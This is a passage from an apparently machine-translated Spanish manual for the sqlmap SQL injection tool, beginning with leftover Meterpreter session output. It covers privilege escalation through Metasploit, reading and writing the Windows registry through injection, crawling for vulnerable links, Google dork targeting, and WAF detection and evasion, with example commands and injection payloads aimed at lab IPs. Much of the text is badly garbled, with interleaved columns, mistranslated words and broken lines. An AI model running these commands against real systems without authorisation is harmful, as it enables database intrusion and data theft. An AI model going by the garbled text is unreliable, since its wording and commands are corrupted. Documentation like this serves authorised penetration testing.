

Hardware MAC: 00: 00: 00: 00: 00: 00
Dirección IP: 127.0.0.1
Máscara de red: 255.0.0.0

Intel (R) PRO / 1000 MT de conexión de red


Hardware MAC: 00: 0c: 29: fc: 79: 39

Dirección
Máscara deIP:
red:192.168.136.129
255.255.255.0

meterpreter> exit

[*] Sesión Meterpreter 1 cerrado. Motivo: Salida de usuario


Por defecto de MySQL en Windows se ejecuta como SISTEMA , sin embargo
PostgreSQL se ejecuta como un usuario con privilegios bajos postgres en
Windows y Linux. Microsoft SQL Server 2000 ejecuta de forma predeterminada
como SISTEMA , mientras que Microsoft SQL Server 2005 y 2008 se ejecuta la
mayor parte de las veces como Servicio de red y, a veces como SERVICIO LOCAL .
Es posible proporcionar sqlmap con el interruptor --priv-esc para llevar a cabo
un proceso de base de datos 'escalada de privilegios de usuario a través de
Metasploit getSystem de comandos que incluyen, entre otros, el kitrap0d técnica
( MS10-015 ).

el acceso al registro de Windows


Es posible acceder a Registro de Windows cuando el sistema de gestión de base
de datos back-end puede ser MySQL, PostgreSQL o Microsoft SQL Server, y
cuando la aplicación web compatible con las consultas apilados. Además, la
sesión de usuario tiene que tener los privilegios necesarios para acceder a ella.

Leer un valor de clave de registro de Windows


Cambiar: --reg lectura
El uso de este interruptor se puede leer los valores de clave de registro.

Escribe un valor de clave de registro de Windows


Cambiar: --reg-add
El uso de este interruptor se puede escribir los valores de clave de registro.
Eliminación de una clave del registro de Windows
Cambiar: --reg-del
El uso de este interruptor puede eliminar las claves de registro.

Opciones de registro auxiliares


Opciones: --reg-clave , --reg-valor , --reg-datos y de tipo --reg
Estas opciones se pueden utilizar para proporcionar los datos necesarios para el
buen funcionamiento de los interruptores --reg lectura , --reg-add y --reg-
del . Así, en lugar de proporcionar información clave de registro cuando se le pide,
puede usarlos en símbolo del sistema como argumentos del programa.
Con la tecla --reg-
registro de Windows,opción se especifica
con --reg utilizarán
valor nombre rutas de de
del elemento acceso
valor clave
en el del
interior
provisto de llave, con ---reg datos de datos de valor, mientras que con el tipo --
reg opción especifica el tipo de la elemento de valor.
Una línea de comandos de ejemplo para añadir una sección de Registro clave de
la siguiente manera:
$ Python sqlmap.py -u http://192.168.136.129/ sqlmap/pgsql/get_int.aspx?id=1 -R \
por ejemplo, añadir --reg-key = "HKEY_LOCAL_MACHINE \ SOFTWARE \ sqlmap" --reg-
valor = Prueba --reg-ty \
pe = REG_SZ --reg-data = 1

General
Estas opciones se pueden utilizar para establecer algunos parámetros generales
de trabajo.

sesión de la carga de un archivo almacenado


(.sqlite)
Opción: -s
sqlmap crea automáticamente un archivo de sesión SQLite constante para cada
objetivo, dentro del directorio de salida especializada, donde se almacenan todos
los datos necesarios para la sesión resumal. Si el usuario quiere establecer
explícitamente la localización del archivo de sesión (por ejemplo, para el
almacenamiento de datos de sesión para múltiples objetivos en un solo lugar) se
puede usar esta opción.

Iniciar una sesión HTTP (s) tráfico a un archivo de


texto
Opción: -t
Esta opción requiere un argumento que especifica el archivo de texto para escribir
todo el tráfico HTTP (s) generado por sqlmap - peticiones HTTP (S) y (S)
respuestas HTTP.
Esto es útil principalmente para fines de depuración - cuando se proporciona a los
desarrolladores con un potencial de informe de error, enviar el archivo también.

Actuar de modo no interactivo


Cambiar: --batch
Si desea sqlmap para funcionar como una herramienta de proceso por lotes, sin la
intervención de cualquier usuario cuando sqlmap lo requiere, puede forzar a que
mediante el uso del interruptor --batch . Esto dejará sqlmap ir con un
comportamiento por defecto cada vez que se requeriría de entrada del usuario.

la recuperación de contenido binario


Opción --binary campos
En el caso de la recuperación de contenido binario, como en el ejemplo de las
tablas que tienen la columna (s) con los valores binarios almacenados (por
ejemplo, la columna contraseña con los valores hash de la contraseña
almacenados binarios), es posible utilizar la opción --binary campos de manejo
(extra) adecuado por sqlmap. Todos esos campos (es decir, las columnas de tabla
a continuación) se recuperan y se representan en su representación hexadecimal,
por lo que posteriormente podrían ser procesadas adecuadamente con otras
herramientas (por ejemploJohn ).

Fuerza de codificación de caracteres utilizado para


la recuperación de datos
Opción: --charset
Para la decodificación adecuada de los datos de carácter sqlmap utiliza ya sea
servidor proporcionado información de Internet (por ejemplo, cabecera
HTTP Content-Type ) o un resultado heurística proveniente de una tercera parte de
la biblioteca Chardet .
Sin embargo, hay casos en los que este valor tiene que ser sobrescritos,
especialmente cuando la recuperación de datos que contiene las cartas
internacionales que no son ASCII (por ejemplo --charset = GBK ). Se ha de señalar
que hay una posibilidad de que la información de caracteres que va a ser
irreversible perdido debido a la incompatibilidad implícita entre el contenido de la
base de datos se almacena y conector de base de datos utilizada en el lado de
destino.

Rastrear el sitio web a partir de la dirección URL de

destino
Opción: --crawl
sqlmap puede recopilar enlaces potencialmente vulnerables por su recogida
(rastreo) a partir de la ubicación de destino. El uso de este usuario opción puede
establecer una profundidad (distancia desde un lugar de partida) por debajo del
cual no va a sqlmap en la recogida de fase, ya que el proceso se está haciendo de
forma recursiva, siempre y cuando hay nuevos enlaces que se pueden visitar.
Ejemplo de gestión frente a un objetivo de MySQL:
$ Python sqlmap.py -u "http://192.168.21. 128/sqlmap/mys ql/" --batch --crawl = 3
[...]
[Xx: xx: 53] [INFO] rastreador de partida
[Xx: xx: 53] [INFO] en busca de enlaces con la profundidad 1
[Xx: xx: 53] [ADVERTENCIA] se ejecuta en un modo de un solo hilo. Esto podría
tomar un tiempo
[Xx: xx: 53] [INFO] en busca de enlaces con la profundidad 2
[Xx: xx: 54] [Info] heurísticos detectan la página web de juego de caracteres
'ascii'
[Xx: xx: 00] [INFO] 42/56 enlaces visitados (75%)
[...]
Opción --crawl-excluir
Con esta opción se puede excluir páginas de rastreo, proporcionando una
expresión regular. Por ejemplo, si desea omitir todas las páginas que tienen la
palabra clave cierre de sesión en sus caminos, puede utilizar --crawl-exclude =
cierre de sesión .

La delimitación de caracteres utilizado en la


producción de CSV
Opción: --csv-del
Cuando los datos objeto de dumping es almacenado en el formato CSV ( --dump-
format = CSV ), las entradas tienen que ser separados con un "valor de separación"
(por defecto es , ). En caso de que el usuario quiere anular su valor por defecto se
puede usar esta opción (por ejemplo --csv-del = ";" ).

las credenciales de autenticación de DBMS


Opción: --dbms-CRED
En algunos casos, el usuario será advertido de que algunas operaciones
fracasaron debido a la falta de privilegios de usuario DBMS actuales y que podría
tratar de usar esta opción. En esos casos, si se proporciona de
administración credenciales de usuario para sqlmap mediante el uso de esta
opción, sqlmap tratará de volver a ejecutar la parte problemática con especializada
"ejecutar como" mecanismos (por ejemplo OPENROWSET en Microsoft SQL Server)
usando esas credenciales.

Formato de los datos objeto de dumping


Opción: --dump-formato
sqlmap es compatible con tres tipos diferentes de formato a la hora de almacenar
datos de la tabla objeto de dumping en el archivo correspondiente que hay en un
directorio de salida: CSV , HTML ySQLITE . Que viene por defecto es CSV , donde cada
fila de la tabla se almacena en un archivo de texto línea por línea, y donde cada
entrada está separada por una coma , (o uno proporcionado con la opción --csv-
del ). En caso de HTML , la salida se almacena en un archivo HTML, donde cada fila
se representa con una fila dentro de una tabla con formato. En caso de SQLITE , la
salida se almacena en una base de datos SQLite, donde el contenido de la tabla
srcinal se replica en la tabla correspondiente que tiene un mismo nombre.

Tiempo estimado de llegada


Cambiar: --eta
Es posible calcular y mostrar en tiempo real la hora estimada de llegada para
recuperar cada salida de la consulta. Esto se muestra cuando la técnica utilizada
para recuperar la salida es cualquiera de los tipos de inyección de SQL ciegos.
Ejemplo contra un objetivo Oracle afectado sólo por inyección SQL ciega basada
en booleana:
$ Python sqlmap.py -u "http:? //192.168.136.131/sqlm ap/oracle/get_int_bool.php
ID \
= 1 "-b --eta

[...]
[Hh: mm: 01] [INFO] el DBMS es Oracle
[Hh: mm: 01] [INFO] bandera ir a buscar
[Hh: mm: 01] [INFO] recuperar la longitud de salida de la consulta
[Hh: mm: 01] [INFO] recuperada: 64
17% [========>] 11/64 ETA doce y diecinueve
Entonces:
100% [=============================================== ====] 64/64
[Hh: mm: 53] [INFO] recuperado: Oracle Database 10g Enterprise Edition Release
10.2
.0.1.0 - Prod

La tecnología de aplicaciones web: PHP 5.2.6, 2.2.9 Apache


back-end DBMS: Oracle
banner: 'Base de Datos Oracle 10g Enterprise Edition Release 10.2.0.1.0 - Prod'
Como se puede ver, sqlmap primero calcula la longitud de la salida de la consulta,
a continuación, calcula la hora de llegada, muestra el progreso en porcentaje y
cuenta el número de caracteres de salida recuperados.

Lavar los archivos de sesión


Opción: --flush de sesiones
Como ya está familiarizado con el concepto de un archivo de sesión de la
descripción anterior, es bueno saber que se puede vaciar el contenido de ese
archivo usando la opción --flush de sesiones . De esta manera se pueden evitar
los mecanismos de caché implementadas por defecto en sqlmap. Otra forma
posible es eliminar manualmente el archivo (s) sesión.

Analizar y campos de entrada de formularios de


prueba '
Switch: --forms
Digamos que usted desea probar las inyecciones de SQL contra una
enorme búsqueda o desea probar un bypass de inicio de sesión (por lo general
sólo dos campos de entrada con un nombre como nombre de
usuario y contraseña ), puede pasar al sqlmap la solicitud en un archivo de
solicitud ( r ) , ajustar los datos publicados en consecuencia ( --Hojas ) o dejar que
sqlmap lo haga por usted!
Ambos de los casos mencionados anteriormente, y muchos otros, aparecen
como <form> y<input> etiquetas en los órganos de respuesta HTML y aquí es
donde este interruptor entra en juego.
Proporcionar sqlmap con --forms , así como la página en la forma como se puede
encontrar la URL de destino ( -u ) y sqlmap solicitará la URL de destino para
usted, analizar las formas que tiene y guiará a través de la prueba de inyección
SQL en los campos de formulario de entrada (parámetros) en lugar de la dirección
URL de destino previsto.

Ignorar resultados de la consulta almacenados en


el archivo de sesión
Interruptor: --fresh-consultas
Como ya está familiarizado con el concepto de un archivo de sesión de la
descripción anterior, es bueno saber que puede pasar por alto el contenido de ese
archivo usando la opción --fresh-consultas . De esta manera se puede mantener
el archivo de sesión sin tocar y para una carrera seleccionada, evitar la
reanudación / restauración de la salida de las consultas.

Utilice la función hexagonal DBMS (s) para la


recuperación de datos
Cambiar: --hex
En los casos perdidos de recuperación de datos no ASCII requiere necesidades
especiales. Una solución para este problema es el uso de la función hex DBMS
(s). Excitado por este interruptor, los datos se codifica a su forma hexadecimal
antes de ser recuperado y después sin codificar a su forma srcinal.
Ejemplo frente a un objetivo de PostgreSQL:
$ Python sqlmap.py -u "http://192.168.48.130/sqlmap/pgsql/get_int.php?id=1" --b
\
Anner --hex -v 3---parse errores

[...]
[Xx: xx: 14] [INFO] bandera ir a buscar
[Xx: xx: 14] [CARGA] 1 Y = 5849 CAST ((CHR (58) || CHR (118) || CHR (116) || CHR
(106) || CHR
(58)) || (ENCODE (convert_to ((COALESCE (CAST (VERSION () como el personaje
(10000)), (CHR (32)
))), (CHR (85) || CHR (84) || CHR (70) || CHR (56))), (CHR (72) || CHR (69) ||
CHR (88)))) :: texto || (

CHR
[Xx:(58)
xx: ||
15]CHR (110)
[INFO] || CHRel(120)
analiza || CHR
mensaje (98) ||"pg_query
de error: CHR (58))
()como numéricos)
[<a href =
'function.pg-consulta'
> Function.pg-consu lta </a>]: Error en la consulta: ERROR: sintaxis de entrada
válido para este tipo num
Eric: ": VTJ:
506f737467726553514c20382e332e39206f6e20693438362d7 0632d6c696e75782d
676e752c20636f6d70696c656420627920474343206763632d3 42e332e7265616c20284465626961
6e2032e332e322d312e312920342e332e32: nxb: "en <b>
/var/www/sqlmap/libs/pgsql.inc.p
CV </ b> en la línea <b> 35 </ b> '
[Xx: xx: 15] [INFO] recuperado: PostgreSQL 8.3.9 en i486-pc-linux-gnu, compilado
por
GCC GCC-4.3.real (Debian 4.3.2-1.1) 4.3.2
[...]

ruta del directorio de salida personalizado

sqlmap --output-dir
Opción: por sesión de almacenes predeterminados y archivos de resultados dentro
de un subdirectorio de salida . En caso de que desee utilizar una ubicación
diferente, puede utilizar esta opción (por ejemplo --output-dir = / tmp ).

Analizar los mensajes de error de DBMS de


páginas de respuesta
Interruptor: --parse-errors
Si la aplicación web está configurado en modo de depuración para que muestre en
las respuestas HTTP los mensajes de error del sistema de gestión de base de
datos back-end, sqlmap pueden analizar y mostrar ellos para usted.
Esto es útil para propósitos de depuración como entender por qué un determinado
enumeración o el interruptor de toma de control no funciona - que podría ser una
cuestión de privilegios de la sesión del usuario y en este caso se vería un mensaje
de error de DBMS a lo largo de las líneas de acceso denegado para el usuario
<SESIÓN DE USUARIO > .
Ejemplo frente a un objetivo de Microsoft SQL Server:
$ Python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1"
\
--parse-errors
[...]
[Xx: xx: 17] [INFO] ORDER BY técnica parece ser utilizable. Esto debería reducir
la
timeneeded para encontrar el número correcto de columnas de la consulta. que se
extiende de forma automática TH
e rangefor prueba técnica de inyección consulta UNION actual
[Xx: xx: 17] [INFO] analiza el mensaje de error: "Proveedor Microsoft OLE DB
para ODBC Driv
ERS (0x80040E14)

[Microsoft]
i [ODBC SQL Server Driver] [SQL Server] El ORDER BY posición número 10
s fuera del rango del número de elementos de la lista de selección.
<B> /sqlmap/mssql/i is/get_int.asp, línea 27 </ b> '
[Xx: xx: 17] [INFO] analiza el mensaje de error: "Proveedor Microsoft OLE DB
para ODBC Driv
ERS (0x80040E14)
[Microsoft] [ODBC SQL Server Driver] [SQL Server] El ORDER BY posición número 6
es
fuera del alcance de la cantidad de elementos en la lista de selección.
<B> /sqlmap/mssql/i is/get_int.asp, línea 27 </ b> '
[Xx: xx: 17] [INFO] analiza el mensaje de error: "Proveedor Microsoft OLE DB
para ODBC Driv
ERS (0x80040E14)
[Microsoft] [ODBC SQL Server Driver] [SQL Server] El ORDER BY posición número 4
es
fuera del alcance de la cantidad de elementos en la lista de selección.
<B> /sqlmap/mssql/i is/get_int.asp, línea 27 </ b> '
[Xx: xx: 17] [INFO] URL de destino parece tener 3 columnas en la consulta
[...]

Guardar las opciones en un archivo de


configuración INI
Opción: --save
Es posible guardar las opciones de línea de comandos en un archivo INI de
configuración. El archivo generado se puede editar y se pasa a sqlmap con el -
c opción como se explicó anteriormente.

actualización sqlmap
Cambiar: --update
El uso de esta opción puede actualizar la herramienta a la última versión de
desarrollo directamente desde el repositorio Git . Obviamente, se necesita
conexión a Internet.
Si, por cualquier razón, esta operación falla, ejecuta git pull de su copia de
trabajo sqlmap. Se llevará a cabo la misma operación del interruptor de --
update . Si está ejecutando sqlmap en Windows, puede utilizar el SmartGit cliente.
Esto es muy recomendable antes de informar sobre cualquier error a las listas de
correo .

Diverso
Utilice mnemotécnicos cortos
Opción: -z
Podría llegar a ser tedioso para escribir todas las opciones e interruptores
deseados, especialmente
ejemplo --batch para aquellos
--random-agente que se utilizan
--ignore-proxy con mayor
= --technique BEA frecuencia
). Hay una(por
manera más simple y mucho más breve cómo hacer frente a ese problema. En
sqlmap se llama "mnemónicos".
Cada opción y el interruptor se pueden escribir en una forma mnemotécnica más
corto utilizando la opción -z , separados por una coma ( , ), donde mnemotécnicos
representan sólo la primera parte arbitrariamente elegido del nombre srcinal. No
hay ninguna asignación estricta de opciones e interruptores a sus respectivos
homólogos acortados. Única condición requerida es que no hay otra opción ni
interruptor que tiene un mismo prefijo que el deseado.
Ejemplo:
$ Python sqlmap.py --batch --random-agente --ignore-pro xy = --technique BEA -u
"ww \
w.target.com/vuln.php?id=1 "
se puede escribir (una de muchas maneras) en forma mnemotécnica más corto,
como:
$ Python sqlmap.py -z "bat, randoma, IGN, tec = BEA" -u
"www.target.com/vuln.php~~V~~3rd? Id = \
1 "
Otro ejemplo:
$ Python sqlmap.py --ignore-proxy---fl ush sesión --technique = T --dump -D testd
\
b usuarios -T -u "www.target.com/vuln.php?id=1"
puede escribirse de forma más corta mnemotécnica como:
$ Python sqlmap.py -z "IGN, la gripe, el palo, tec = T, descarga, D = testdb, T
= users" -u www.target ". \
com / vuln.php? id = 1 "

Alertando sobre la detección de inyección SQL


éxito
Opción: --alert

Set respuestas para las preguntas


Opción: --answers
En caso de que el usuario quiere configurar automáticamente respuestas para las
preguntas, incluso si --batch se utiliza, el uso de esta opción puede hacerlo
proporcionando cualquier parte de la pregunta, junto con la respuesta después de
un signo igual. Además, las respuestas de diferentes cuestión se pueden dividir
con carácter delimitador , .
Ejemplo frente a un objetivo de MySQL:
$ Python sqlmap.py -u "http://192.168.22.128/sqlmap/mysql/get_int.php?id=1" --te
\
--answers chnique = E = "que se extiende = N" --batch
[...]
[Xx: xx: 56] [INFO] pruebas de inyección SQL en GET parámetro 'id'
prueba heurística (análisis) mostró que el DBMS de back-end podrían ser 'MySQL'.
Vos si
quiera saltarse las cargas útiles de ensayo específicos para otros DBMS? [Y / n]
Y
[Xx: xx: 56] [INFO] ¿desea incluir todas las pruebas para 'MySQL' que se
extiende proporcionar
d nivel (1) y el riesgo (1)? [Y / n] N
[...]

Hacer un pitido cuando se encuentra de inyección


SQL
Cambiar: ni --beep ni
En caso de que el usuario utiliza el interruptor ni --beep ni que va a ser advertido
mediante un pitido cuando se encuentra inmediatamente la inyección de
SQL. Esto es especialmente útil cuando hay una lista de gran volumen (opción -m )
de las URL de destino para ser probado.

Limpieza de los DBMS UDF sqlmap específico (s) y


la mesa (s)
Cambiar: --cleanup
Se recomienda limpiar el sistema de gestión de base de datos back-end de la
tabla (s) sqlmap temporal y función definida por el usuario creado (s) cuando haya
terminado de asumir el control del sistema operativo subyacente o del sistema de
archivos. Cambiar --cleanup intentará limpiar el DBMS y el sistema de archivos
siempre que sea posible.

Compruebe si hay dependencias


Cambiar: --dependencies
sqlmap en algunos casos especiales requiere una instalación independiente de
bibliotecas adicionales 3 ª parte (por ejemplo, opciones -d , cambian --os-pwn en
caso de icmpsh túnel, opción --auth tipo en caso de NTLM tipo de autenticación
HTTP, etc.) y advertirá al usuario sólo en esos casos especiales. Pero, si usted
quiere comprobar de forma independiente para todas aquellas dependencias
adicionales 3ª parte de la biblioteca se pueden utilizar los interruptores --
dependencies .
$ Python sqlmap.py --dependencie s
[...]
[Xx: xx: 28] [ADVERTENCIA] sqlmap requiere biblioteca de terceros 'python-
KInterbasDB' en
Para conectar directamente a la DBMS Firebird. Descargar de http: // kinterbasd
b.sourceforge.net/
[Xx: xx: 28] [ADVERTENCIA] sqlmap requiere 'python-pymssql' biblioteca de
terceros en ord
er para conectar directamente al SGBD Sybase. Descargar de http:
//pymssql.sourcefo
rge.net/
[Xx: xx: 28] [ADVERTENCIA] sqlmap requiere biblioteca de terceros '' pitón
pymysql en ord
er para conectar directamente a la DBMS MySQL. Descargar de
https://github.com/peteh
UNT / PyMySQL /
[Xx: xx: 28] [ADVERTENCIA] sqlmap requiere biblioteca de terceros 'pitón
cx_Oracle' en O
rder para conectar directament e a la base de datos Oracle. Descargar de http:
//cx-oracle.sour
ceforge.net/
[Xx: xx: 28] [ADVERTENCIA] sqlmap requiere biblioteca de terceros 'python-
psycopg2' en o
der para conectar directamente al SGBD PostgreSQL. Descargar de
http://initd.org/p
sycopg /
[Xx: xx: 28] [ADVERTENCIA] sqlmap requiere biblioteca de terceros 'pitón IBM-db'
in orde
r para conectar directamente a la DBMS DB2 de IBM. Descargar de
http://code.google.com/
p / IBM-db /
[Xx: xx: 28] [ADVERTENCIA] sqlmap requiere 'pitón jaydebeapi y python-jpype
"tercer-pa
rty biblioteca con el fin de conectar directamente a la DBMS HSQLDB. Descargar
de https
: //pypi.python.org/pypi/JayDeBeApi/ Y http://jpype.sourceforge.net/
[Xx: xx: 28] [ADVERTENCIA] sqlmap requiere 'python-pyodbc' biblioteca de
terceros en el orde
r para conectar directamente al DBMS de Microsoft Access. Descargar de http: //
pyodbc.
googlecode.com/
[Xx: xx: 28] [ADVERTENCIA] sqlmap requiere 'python-pymssql' biblioteca de
terceros en ord
er para conectarse directamente al servidor de Microsoft SQL DBMS. Descargar de
http: // py
mssql.sourceforge.net/
[Xx: xx: 28] [ADVERTENCIA] sqlmap requiere biblioteca de terceros 'python-ntlm'
si pl
un ataque a una aplicación web detrás de la autenticación NTLM. Desc argar de
http: //
code.google.com/p/python-ntlm/
[Xx: xx: 28] [ADVERTENCIA] sqlmap requiere biblioteca de terceros 'WebSocket-
cliente' si y
ou plan para atacar a una aplicación web utilizando WebSocket. Descarg ar de
https: // PyPI.
python.org/pypi/websocket-client/

colorear salida de la consola Desacti var


Cambiar: --disable-colorear
sqlmap por defecto utiliza para colorear el momento de escribir a la consola. En
caso
ANSI de efectos
para no deseados
colorear (por ejemplo,
no interpretados como \lax01
apariencia de32m
\ X1B [0; la consola de códigos
\ x02 [INFO] ) se
puede desactivar la salida de la consola para colorear usando esta variable.

Usar los resultados de Google dork del número de


página especificado
Opción: --gpage
El comportamiento por defecto sqlmap con la opción -g es hacer una búsqueda en
Google y utilizar los primeros 100 URL resultantes de realizar más pruebas de
inyección SQL. Sin embargo, en combinación con esta opción se puede
especificar con esta opción ( --gpage ) una página que no sea la primera de ellas
para recuperar las URL de destino de.

Utilice la contaminación parámetro HTTP


Cambiar: --hpp
Contaminación parámetro HTTP (HPP) es un método para pasar por los
mecanismos de protección WAF / IPS / IDS (que se explica aquí ) que es
particularmente eficaz contra ASP / IIS y plataformas
ASP.NET/IIS~~number=plural. Si sospecha que el objetivo está detrás de esa
protección, se puede tratar de eludirlo utilizando este interruptor.

Hacer una prueba a través de una protección WAF /


IPS / IDS
Cambiar: --identify-WAF
sqlmap puede tratar de identificar backend protección WAF / IPS / IDS (si lo hay)
para que el usuario pudiera hacer las medidas adecuadas (por ejemplo, utilizan
secuencias de comandos de manipulación con --tamper ). Actualmente, alrededor
de 30 productos diferentes son compatibles (bolsa de aire, Barracuda WAF, etc.) y
sus respectivos guiones WAF se pueden encontrar dentro WAF directorio.
Ejemplo de MySQL contra un objetivo protegido por la ModSecurity WAF:
$ Python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --
que \
dentify-WAF -v 3
[...]
[Xx: xx: 23] [INFO] comprobar la conexión a la URL de destino
[Xx: xx: 23] [Info] heurísticos detectan la página web de juego de caracteres
'ascii'
[Xx: xx: 23] [INFO] el uso de scripts para detectar WAF backend protección WAF /
IPS / IDS
[Xx: xx: 23] [DEBUG] comprobación de la FAT / IDS / IPS producto 'USP seguro
servidor de entrada (Des
Proveedores de seguridad ITED) '

[Xx: xx: 23] [DEBUG]


aplicaciones web F comprobación para el producto WAF / IDS / IPS 'BinarySEC de
irewall (BinarySEC) '
[Xx: xx: 23] [DEBUG] comprobación para el producto WAF / IDS / IPS 'NetContinuum
Web applicatio
n Firewall (NetContinuum / Barracuda Networks) '
[Xx: xx: 23] [DEBUG] comprobación para el producto WAF / IDS / IPS "Aplicación
Web Hyperguard
Firewall (arte de la defensa Inc.) '
[Xx: xx: 23] [DEBUG] comprobación para el producto WAF / IDS / IPS de Cisco ACE
XML Gateway (CISC
o Sistemas) '
[Xx: xx: 23] [DEBUG] comprobación para el producto WAF / IDS / IPS
'TrafficShield (F5 Networks)
'
[Xx: xx: 23] [DEBUG] comprobación para el producto WAF / IDS / IPS 'Teros /
Citrix Application Fi
cortafuegos Empresa (Teros / Citrix Systems) '
[Xx: xx: 23] [DEBUG] comprobación para el producto WAF / IDS / IPS "Soluciones
de seguridad
amai Kona (Ak
Technologies) '
[Xx: xx: 23] [DEBUG] comprobación para el producto WAF / IDS / IPS 'Incapsula de
aplicaciones web F
irewall (Incapsula / Imperva) '
[Xx: xx: 23] [DEBUG] comprobación para el producto WAF / IDS / IPS "Aplicación
Web CloudFlare
Firewall (CloudFlare) '
[Xx: xx: 23] [DEBUG] comprobación para el producto WAF / IDS / IPS 'Barracuda
Web Application F
irewall (Barracuda Networks) '
[Xx: xx: 23] [DEBUG] comprobación para el producto WAF / IDS / IPS
'webApp.secure (webScurity)'
[Xx: xx: 23] [DEBUG] comprobación para el producto WAF / IDS / IPS Proventia Web
Application S
eguridad (IBM) '
[Xx: xx: 23] [DEBUG] declarado página web charset "iso-8859-1"
[Xx: xx: 23] [DEBUG] página no encontrada (404)
[Xx: xx: 23] [DEBUG] comprobación para el producto WAF / IDS / IPS 'KS-WAF
(Knownsec)'
[Xx: xx: 23] [DEBUG] comprobación para el producto WAF / IDS / IPS 'NetScaler
(Citrix Systems)'
[Xx: xx: 23] [DEBUG] comprobación para el producto WAF / IDS / IPS 'Jiasule de
aplicaciones web de abeto
ewall (Jiasule) '
[Xx: xx: 23] [DEBUG] comprobación para el producto WAF / IDS / IPS 'WebKnight
Aplicación Firew
todos (AQTRONIX) '
[Xx: xx: 23] [DEBUG] comprobación para el producto WAF / IDS / IPS 'AppWall
(Radware)'
[Xx: xx: 23] [DEBUG] comprobación para el producto WAF / IDS / IPS "ModSecurity:
Open Source Nosotros
b Application Firewall (Trustwave) '
[Xx: xx: 23] [CRÍTICA] WAF / IDS / IPS identifica 'ModSecurity: Web Appli Open
Source
cación Firewall (Trustwave) '. Por favor, considere el uso de secuencias de

comandos de manipulación indebida (opción '-


-manosear')
[...]
Saltar detección heurística de la protección WAF / IPS / IDS
Interruptor: --skip-WAF
De forma predeterminada, sqlmap envía automáticamente dentro de uno de
partida solicita un valor de parámetro ficticio que contiene una carga útil de
inyección SQL "sospechosos" de manera deliberada (por ejemplo ... y foobar = Y
1 = 1 UNION ALL SELECT 1,2,3, nombre_tabla WHERE DE INFORMATION_SCHEMA.TABLES 2>
1 ). Si el objetivo responde de manera diferente que para la solicitud srcinal, hay
una alta posibilidad de que está bajo algún tipo de protección. En caso de
cualquier problema, el usuario puede desactivar este mecanismo, proporcionando
interruptor --skip-WAF .

imitar teléfono inteligente


Cambiar: --mobile
A veces, los servidores web exponen diferentes interfaces hacia los teléfonos
móviles que a los ordenadores de sobremesa. En tales casos se puede hacer
cumplir el uso de uno de los valores de la cabecera User-Agent teléfono inteligente
HTTP predeterminados. Mediante el uso de este interruptor, sqlmap le pedirá que
elija uno de los teléfonos inteligentes populares que se va a imitar en la ejecución
actual.
Ejemplo de ejecución:
$ Python sqlmap.py -u "http://www.target.com/ vuln.php?id=1" --mobile
[...]
el cual su smartphone es lo que desea sqlmap imitar a través de HTTP cabecera
User-Agent?
[1] Apple iPhone 4s (por defecto)
[2] BlackBerry 9900
[3] Nexus 7 Google

[4] HTC
[5] HP iPAQ 6365
Sensation
[6] Nokia N97
[7] Samsung Galaxy S
> 1
[...]

El trabajo en modo fuera de línea (sólo utilizar los


datos de sesión)
Cambiar: --offline
Mediante el uso de interruptor de --offline sqlmap va a utilizar únicamente los
datos de la sesión anterior en la enumeración de datos. Esto básicamente significa
que habrá cero intentos de conexión durante dicho plazo.

fila de la página de visualización (PR) para los


resultados de Google dork
Cambiar: --page-rank
Realiza pide además a Google cuando -g es suministrada fila de la página de
visualización (PR) para los resultados de Google dork.

Extracción segura de todo el contenido de un


directorio de salida
Cambiar --purge-salida
En caso de que el usuario decida retirar de forma segura todo el contenido de la
salida del directorio, que contiene todos los detalles del objetivo de carreras
sqlmap anteriores, se puede utilizar el interruptor --purge-salida . Mientras se
purga, todos loscon
sobrescribirán archivos de (sub) directorios
datos aleatorios, truncadas,dehan
la carpeta de de
cambiado salida se a los
nombre
nombres al azar, (sub) directorios se cambiará el nombre de nombres aleatorios
también, y finalmente se eliminarán todo el árbol de directorios.
Ejemplo de ejecución:
$ Python sqlmap.py --purge-salida -v 3
[...]
[Xx: xx: 55] [INFO] purgar el contenido del directorio '/ home / usuario /
sqlmap / salida' ...
[Xx: xx: 55] [DEBUG] cambiantes atributos de archivo
[Xx: xx: 55] [DEBUG] escribiendo datos aleatorios en los archivos
[Xx: xx: 55] [DEBUG] archivos que truncan
[Xx: xx: 55] [DEBUG] nombres de archivo de cambio de nombre a valores aleatorios
[Xx: xx: 55] [DEBUG] nombres de directorio de cambio de nombre a valores
aleatorios
[Xx: xx: 55] [DEBUG] borrar todo el árbol de directorios
[...]

Llevar a cabo a través de pruebas sólo si heurística


(s) positivo
cambiar --smart
Hay casos en que el usuario tiene una larga lista de posibles direcciones URL de
destino (por ejemplo, proporcionado con la opción -m ) y quiere encontrar un
blanco vulnerable lo más rápido posible. Si el interruptor --smart se utiliza, sólo los
parámetros con los que DBMS error (s) puede ser provocado, se están utilizando
más en las exploraciones. De lo contrario, se omiten.
Ejemplo frente a un objetivo de MySQL:
$ Python sqlmap.py -u "http:? //192.168.21.128/sql map/mysql/get_int.php Ca = 17
& usar \
r = foo & id = 1 "--batch --smart
[...]
[Xx: xx: 14] [INFO] prueba si el parámetro GET 'ca' es dinámico
[Xx: xx: 14] [ADVERTENCIA] GET parámetro 'CA' no aparece dinámico
[Xx: xx: 14] [ADVERTENCIA] heurística (básicos) prueba muestra que se interponen
parámetro 'ca' podría
no ser inyectable
[Xx: xx: 14] [INFO] saltarse parámetro GET 'ca'
[Xx: xx: 14] [INFO] prueba si el parámetro GET "usuario" es dinámico
[Xx: xx: 14] [ADVERTENCIA] Parámetro de "usuario" no aparece dinámico
[Xx: xx: 14] [ADVERTENCIA] heurística (básicos) prueba muestra que se interponen
parámetro "usuario" Migh
t no sea inyectable
[Xx: xx: 14] [INFO] saltarse parámetro GET "usuario"
[Xx: xx: 14] [INFO] prueba si el parámetro GET 'id' es dinámico
[Xx: xx: 14] [INFO] que confirma que el parámetro GET 'id' es dinámico
[Xx: xx: 14] [INFO] GET parámetro "id" es dinámico
[Xx: xx: 14] [ADVERTENCIA] valor reflectante (s) encontrado y filtrado a cabo
[Xx: xx: 14] [INFO] heurística (básicos) prueba muestra que se interponen
parámetro 'id' podría ser
inyectable (posible DBMS: 'MySQL')
[Xx: xx: 14] [INFO] pruebas de inyección SQL en GET parámetro 'id'
prueba heurística (análisis) mostró que el DBMS de back-end podrían ser 'MySQL'.
Vos si
quiera saltarse las cargas útiles de ensayo específicos para otros DBMS? [Y / n]
Y
¿desea incluir todas las pruebas para extender proporcion ado nivel 'MySQL' (1) y
ri
